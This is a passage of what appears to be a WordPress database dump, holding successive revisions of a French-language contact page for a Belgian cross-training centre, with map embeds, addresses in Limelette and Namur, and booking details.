frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;\r\n&lt;a href=mailto:info@crosstrainingcenter.be&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:03:53', '2013-11-03 10:03:53', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(434, 1, '2013-11-03 10:09:11', '2013-11-03 10:09:11', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:09:11', '2013-11-03 10:09:11', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(435, 1, '2013-11-03 10:11:57', '2013-11-03 10:11:57', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:11:57', '2013-11-03 10:11:57', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(437, 1, '2013-11-03 10:15:26', '2013-11-03 10:15:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:15:26', '2013-11-03 10:15:26', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(436, 1, '2013-11-03 10:14:15', '2013-11-03 10:14:15', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Laissez-nous un message :&lt;/h1&gt;\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/p&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:14:15', '2013-11-03 10:14:15', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(439, 1, '2013-11-03 10:16:46', '2013-11-03 10:16:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:16:46', '2013-11-03 10:16:46', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(438, 1, '2013-11-03 10:16:13', '2013-11-03 10:16:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1 style=\&quot;text-align: left;\&quot;&gt;Laissez-nous un message :&lt;/h1&gt;\r\n&lt;p style=\&quot;text-align: left;\&quot;&gt;[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/p&gt;\r\n\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: left;\&quot;&gt;Prise de RDV :&lt;/h1&gt;\r\n&lt;p style=\&quot;text-align: left;\&quot;&gt;Les prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12&lt;/p&gt;\r\n\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:16:13', '2013-11-03 10:16:13', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(445, 1, '2013-11-03 10:24:40', '2013-11-03 10:24:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a 